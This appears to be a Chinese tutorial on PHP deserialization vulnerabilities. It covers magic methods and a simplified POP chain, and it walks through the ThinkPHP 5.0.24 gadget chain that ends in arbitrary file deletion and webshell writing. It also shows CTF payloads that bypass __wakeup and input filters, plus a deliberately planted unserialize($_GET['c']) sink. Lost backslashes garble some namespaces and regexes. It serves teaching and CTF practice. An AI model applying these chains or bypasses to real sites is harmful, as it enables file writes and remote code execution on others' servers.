萌新必备技能--PHP框架反序列化入门教程

2020-02-26 14:15:49 浏览数 (1)

前言

本文面向拥有一定PHP基础的萌新选手,从反序列化的简略原理->实战分析经典tp5.0.x的漏洞->讨论下CTF做题技巧,

后面系列就倾向于针对不同PHP框架如何有效地挖掘反序列化漏洞和快速构造POC的技术探讨。

PHP反序列化原理

序列化技术的出现主要是解决抽象数据存储问题,反序列化技术则是解决序列化数据抽象化的。

换句话来说, 一个类的对象, 像这种具有层级结构的数据,你没办法直接像文本那样存储,所以我们必须采取某种规则将其文本化(流化),反序列化的时候再复原它。

这里我们可以举一个例子:

代码语言:javascript复制
<?php
class A{
    public $t1;
    private $t2='t2';
    protected $t3 = 't3';
}

// create a is_object
$obj = new A();
$obj->t1 = 't1';
var_dump($obj);
echo serialize($obj);
?>

我们不难看到序列化的过程就是将层次的抽象结构变成了可以用流表示的字符串。

O:1:"A":3:{s:2:"t1";s:2:"t1";s:5:"At2";s:2:"t2";s:5:"*t3";s:2:"t3";}

我们可以分析下这个字符串

public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度 2

反序列化的话,就能依次根据规则进行反向复原了。

PHP反序列化攻击

按道理来说,PHP反序列乍看是一个很正常不过的功能,

为什么我们听到反序列化更多的是将其当作一种漏洞呢? 到底存不存在合理安全的反序列化流程?

回答这个问题, 我们得清楚这个反序列过程,其功能就类似于””创建了一个新的对象”(复原一个对象可能更恰当),

并赋予其相应的属性值,在反序列过程中,如果让攻击者任意反序列数据, 那么攻击者就可以实现任意类对象的创建,

如果一些类存在一些自动触发的方法(或者代码流中有一些行为会自动触发一些方法),那么就有可能以此为跳板进而攻击系统应用。

那么什么是自动触发的方法呢?

在PHP中我们称其为魔术方法

通过阅读文档我们可以发现一个有意思的现象:

我们可以将其理解为序列化攻击,这里我不展开探讨,欢迎读者去研究。

同样我们可以发现,反序列过程中__wakeup()魔术方法会被自动触发,我们可以整理下PHP的各种魔术方法及其触发条件。

代码语言:javascript复制
__construct()    #类的构造函数
__destruct()    #类的析构函数
__call()    #在对象中调用一个不可访问方法时调用
__callStatic()    #用静态方式中调用一个不可访问方法时调用
__get()    #获得一个类的成员变量时调用
__set()    #设置一个类的成员变量时调用
__isset()    #当对不可访问属性调用isset()或empty()时调用
__unset()    #当对不可访问属性调用unset()时被调用。
__sleep()    #执行serialize()时,先会调用这个函数
__wakeup()    #执行unserialize()时,先会调用这个函数
__toString()    #类被当成字符串时的回应方法
__invoke()    #调用函数的方式调用一个对象时的回应方法
__set_state()    #调用var_export()导出类时,此静态方法会被调用。
__clone()    #当对象复制完成时调用
__autoload()    #尝试加载未定义的类
__debugInfo()    #打印所需调试信息

这里我们着重需要注意的是:

__construct()

__destruct()

__wakeup()

我们可以写代码验证一下这三者的关系。

代码语言:javascript复制
<?php
class A{
    public $t1;
    private $t2='t2';
    protected $t3 = 't3';
    function __wakeup(){
        var_dump("i am __wakeup");
    }
    function __construct(){
        var_dump("i am __construct");
    }
    function __destruct(){
        var_dump("i am __destruct");
    }
}

// create a is_object
$obj = new A();
$obj->t1 = 't1';
echo "=====serialize=====";
echo '<br>';
echo serialize($obj);
echo '<br>';
echo "=====unserialize=====";
unserialize( serialize($obj));
echo '<br>';
?>

所以说反序列化能直接自动触发的函数就是:__wakeup __destruct

那么为什么__construct不能呢?

我们可以这样理解,因为序列化本身就是存储一个已经初始化的的对象的值了,

所以没必要去执行__construct,或者说序列化过程本身没有创建对象这一过程,所以说挖掘PHP反序列化最重要的一步就是通读系统所有的__wakeup __destruct函数,

然后于此接着挖掘其他点, 这也是目前大多数反序列化的挖掘思路,

更隐蔽的话比较骚的可能就是那些不是很直接的调用魔术方法的挖掘思路了, 这部分比较难实现自动化

那么怎么来实现安全反序列化呢?

反序列化内容不要让用户控制(加密处理等处理方法), 因为组件依赖相当多,黑名单的路子就没办法行得通的

但是众所周知,PHP的文件处理函数对phar协议处理会自动触发反序列化可控内容,从而大大增加了反序列化的攻击面,

所以说想要杜绝此类问题, 对程序猿的安全觉悟要求相当高, 需要严格控制用户操作比如文件相关操作等。

当然像我这种菜B程序猿采取的方案就是:

暴力直接写死destruct and wakeup 函数

2.1 POP链原理简化

代码语言:javascript复制
<?php
class A{
    public $obj;
    function __construct(){
        var_dump("i am __construct");
    }

    function __destruct(){
        var_dump("i am __destruct");
        var_dump(file_exists($this->obj));
    }

}

class B{
    public $obj;
    function __toString(){
        var_dump("I am __toString of B!");
        // 触发 __call 方法
        $this->obj->getAttr("test", "t2");
        return "ok";
    }
}

class C{
    function __call($t1, $t2){
        var_dump($t1);
        var_dump($t2);
        var_dump("I am __call of C");
    }
}

$objC = new C();
$objB = new B();
$objA = new A;
// 触发C的__call,将C类的对象$objC给B的$obj属性。
$objB->obj = $objC;
// 这里为了触发的__toString, 将B类的对象$objB给A的$obj属性
$objA->obj = $objB;

其实这种就是类组合的应用,

一个类A中包含另外一个类B的对象, 然后通过该B对象调用其方法,从而将利用链转移到另外一个类B,

只不过这些方法具备了”自动触发”性质,从而能够实现自动POP到具有RCE功能的类中去。

ThinkPHP5.0.x反序列化漏洞

这个漏洞最早是小刀师傅发现的, ,

相当赞的挖掘过程, 与其他经典tp链不太一样,所以我就以此展开来学习了, 这里记录下我的复现过程。

3.1 安装ThinkPHP5.0.24

composer create-project --prefer-dist topthink/think=5.0.24 tp5024

等待下载完即可

3.2 TP框架知识点入门

thinkphp/tp5024/application/index/controller/Index.php

我们修改其内容(手工构造一个反序列化的点,方便调试)

代码语言:javascript复制
<?php
namespace appindexcontroller;

class Index
{
    public function index()
    {
        // vuln
        unserialize(@$_GET['c']);
        return 'thinkphp 5.0.24';
    }
}

在正式开始审计之前我们了解一下TP框架中命名空间与类库的内容。

详细内容参考tp官方文档: 命名空间

1.什么是命名空间?

命名空间是在php5.3中加入的, 其实许多语言(java、c#)都有这个功能。 简单理解就是分类的标签, 更加简单的理解就是我们常见的目录(其作用就是发挥了命名空间的作用) 用处: 1.解决用户编码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突 2.为很长的标识符名称创建一个别名的名称,提高源代码的可行性

这里展示下几个演示命名空间功能的例子:

1.命名空间用法

(1)直接使namespache命名空间

代码语言:javascript复制
<?php
// 用法1,不推荐
namespace sp1;
echo '"', __NAMESPACE__, '"';
namespace sp2;
echo '"', __NAMESPACE__, '"';

#输出output:
"sp1" "sp2"

(2)使用大括号模式,推荐使用

代码语言:javascript复制
<?php
// 用法2,推荐
namespace sp1{
    echo '"', __NAMESPACE__, '"';
}
namespace sp2{
    echo "</br>";
    echo '"', __NAMESPACE__, '"';
    echo "</br>";
}
namespace { //全局空间
     echo '"', __NAMESPACE__, '"';
}

#输出output:
"sp1"
"sp2"
""

2.使用命名空间

代码语言:javascript复制
<?php
namespace FooBar;
include 'file1.php';

const FOO = 2;
function foo() {}
class foo
{
  static function staticmethod() {}
}

/* 非限定名称 */
foo(); // 解析为函数 FooBarfoo
foo::staticmethod(); // 解析为类 FooBarfoo ,方法为 staticmethod
echo FOO; // 解析为常量 FooBarFOO

/* 限定名称 */
subnamespacefoo(); // 解析为函数 FooBarsubnamespacefoo
subnamespacefoo::staticmethod(); // 解析为类 FooBarsubnamespacefoo,
                                // 以及类的方法 staticmethod
echo subnamespaceFOO; // 解析为常量 FooBarsubnamespaceFOO

/* 完全限定名称 */
FooBarfoo(); // 解析为函数 FooBarfoo
FooBarfoo::staticmethod(); // 解析为类 FooBarfoo, 以及类的方法 staticmethod
echo FooBarFOO; // 解析为常量 FooBarFOO
?>

2.tp中的根命名空间

名称

描述

类库目录

think

系统核心类库

thinkphp/library/think

traits

系统Trait类库

thinkphp/library/traits

app

应用类库

application

3.tp的类自动加载机制

详细内容参考官方文档的: 自动加载

原理就是根据类的命名空间定位到类库文件 然后我们创建实例的时候系统会自动加载这个类库进来。 example: 框架的Library目录下面的命名空间都可以自动识别和定位,例如:

  1. ├─Library 框架类库目录
  2. │ ├─Think 核心Think类库包目录
  3. │ ├─Org Org类库包目录
  4. │ ├─ ... 更多类库目录

Library目录下面的子目录都是一个根命名空间,也就是说以Think、Org为根命名空间的类都可以自动加载:

  1. new ThinkCacheDriverFile();
  2. new OrgUtilAuth();

都可以自动加载对应的类库文件,后面构造POC的时候会再次涉及到这个知识点。

尝试分析5.0.x反序列化

笔者环境: Mac OS, phpstorm

类库搜索:__destruct

定位到入口:/tp5024/thinkphp/library/think/process/pipes/Windows.php

代码语言:javascript复制
public function __destruct()
{
    $this->close();
    $this->removeFiles();//跟进这个函数
}
代码语言:javascript复制
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) { //这里可以触发__toString
                @unlink($filename);//这里可以反序列删除任意文件
            }
        }
        $this->files = [];
    }

我们接着可以全局搜索下有没有合适的__toString方法

tp5024/thinkphp/library/think/Model.php

代码语言:javascript复制
    public function __toString()
    {
        return $this->toJson();
    }
代码语言:javascript复制
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options); //跟进
    }

我们需要控制两个值:$modelRelation and $value,这里其实具体还是比较复杂的,

这里我们假设可以任意控制,先理解清楚后面的写shell流程,掌握主干的方向。

通过控制$modelRelation我们可以走到$value-getAttr($attr),其中$value也是我们可以控制的,我们将其控制为thinkconsoleconsole的对象,最终进入到了

thinkphp/library/think/console/Output.php

因为不存在getAttr方法从而调用了__call

代码语言:javascript复制
    public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args);
          //跟进这个函数调用
        }
............
    }
代码语言:javascript复制
    protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>");//继续跟进
    }
代码语言:javascript复制
    public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type);//跟进
    }
代码语言:javascript复制
    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type);
    }

当来到这里的时候$this-handle我们是可以控制的,但是我们一直可以控制的参数值只有一个那就是上面的$messages,其他的参数值没办法控制

代码语言:javascript复制
namespace thinkconsole{
    class Output{
        private $handle = 这里可以控制为任意对象;
        protected $styles = [
            'getAttr'
        ];
    }
}

这里我们选择控制为thinksessiondriverMemcached的对象然后调用他的write方法

tp5024/thinkphp/library/think/session/driver/Memcached.php

代码语言:javascript复制
    public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);//跟进看看
    }

这里是关键写入shell的地方,我们从file_put_contents反向溯源$filenameanddata,看下数据是怎么流向的。

代码语言:javascript复制
    public function set($name, $value, $expire = null) 
    {
        //$value 我们没办法控制
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?phpn//" . sprintf('2d', $expire) . "n exit();?>n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

第一次我们是没办法控制写入的内容,但是这里进行了二次写入

$this->setTagItem($filename),跟进看看

代码语言:javascript复制
    protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name; //这里$value可以被我们控制
            }
            $this->set($key, $value, 0);//这里再次进行了写入
        }
    }

最终的指向效果就是:

生成的shell文件名就是:

<?cuc cucvasb();?>3b11e4b835d256cc6365eaa91c09a33f.php

上面介绍了反序列化的主要流程

CTF中反序列化的考点

打了几场比赛, 顺便总结下CTF中反序列化经常考的点, 这些点有可能今后在实战审计中用到,

因为这些点正是一些cms的防护被绕过的例子

4.1 __wakeup 绕过

通过前面我们可以知道反序列化的时候会自动触发__wakeup,所以有些程序猿在这个函数做了些安全检查。

代码语言:javascript复制
<?php
class Record{
    public $file='hacker';
    public function __wakeup()
    {
        $this->file = 'hacker';
    }

    public function __destruct()
    {
        if($this->file !== 'hacker'){
            echo "flag{success!}";
        }else
        {
            echo "try again!";
        }
    }
}

$obj = new Record();
$obj->file = 'boy';
echo urlencode(serialize($obj));
// vuln
unserialize($_GET['c']);

?>
代码语言:javascript复制
O:6:"Record":0:{}
// 解码后
O:6:"Record":0:{}

这里我们反序列化的时候,修改下对象的属性值数目,就可以绕过

代码语言:javascript复制
O:6:"Record":0:{}
//修改后
O:6:"Record":1:{}
//编码后
O:6:"record":1:{}

成员属性值数目大于真实的数目,便能不触发__wakeup方法,实现绕过

4.2 绕过preg_match('/[oc]:d :/i',$cmd

代码语言:javascript复制
<?php
class Record{
    public function __wakeup()
    {
        var_dump("i am __wakeup");
        $this->file = 'hacker';
    }

    public function __destruct()
    {
        var_dump("i am __destruct");
    }
}

$obj = new Record();
echo urlencode(serialize($obj));
// vuln
if (preg_match('/[oc]:d :/i',$_GET['c']))
{
    die('<br>what?');
}else
{
    var_dump("Hello");
    unserialize($_GET['c']);
}

?>

这个是其他师傅fuzz出来的一个小技巧,对象长度可以添加个 来绕过正则

代码语言:javascript复制
O:6:"Record":0:{}
//修改后
O: 6:"Record":1:{}
//编码后
O:+6:"record":1:{}

4.3 绕过substr($c, 0, 2)!=='O:'

这个限制当时在华中赛区的时候还卡了我一下, 就是限制了开头不能为对象类型,

不过这道题目之前腾讯的某个ctf出过,所以难度不是很大,这里记录下数组绕过的方法

代码语言:javascript复制
<?php
class Record{
    public function __wakeup()
    {
        var_dump("i am __wakeup");
        $this->file = 'hacker';
    }

    public function __destruct()
    {
        var_dump("i am __destruct");
    }
}

$obj = new Record();
//数组化
$a = array($obj);
echo urlencode(serialize($a));
// vuln
if (substr($_GET['c'], 0, 2)=='O:')
{
    die('<br>what?');
}else
{
    var_dump("Hello");
    unserialize($_GET['c']);
}

?>
代码语言:javascript复制
O:6:"Record":0:{}
//修改后
a:1:{i:0;O:6:"Record":1:{}}
//编码后
a:1:{i:0;O:6:"Record":1:{}}

反序列化的时候他是会从反序列化数组里面的内容的。

反序列化的字符逃逸

这个内容我接触的可能比较少, 是一些有点偏的特性,这里分享几篇资料,

读者有兴趣可以自行研究或者与我一起探讨下:

详解PHP反序列化中的字符逃逸

一道ctf题关于php反序列化字符逃逸

其实原理简单来说就是:

就是序列化数据拼接的时候容错机制导致的问题,导致了可以伪造序列化数据内容。

总结

PHP的反序列化学习起来比python、java那些反而更加简单和直接,

非常适合萌新选手入门反序列化前掌握反序列化思想,同样其利用方面也是极具威胁性的,

毕竟使用框架的cms那么多,就算不使用框架,也一样会存在风险。

随着后期发展,我感觉反序列化漏洞会超越传统SQL注入、任意文件上传等主流的高危漏洞, 欢迎师傅们与我一起探讨深入研究各种相关骚操作。

0 人点赞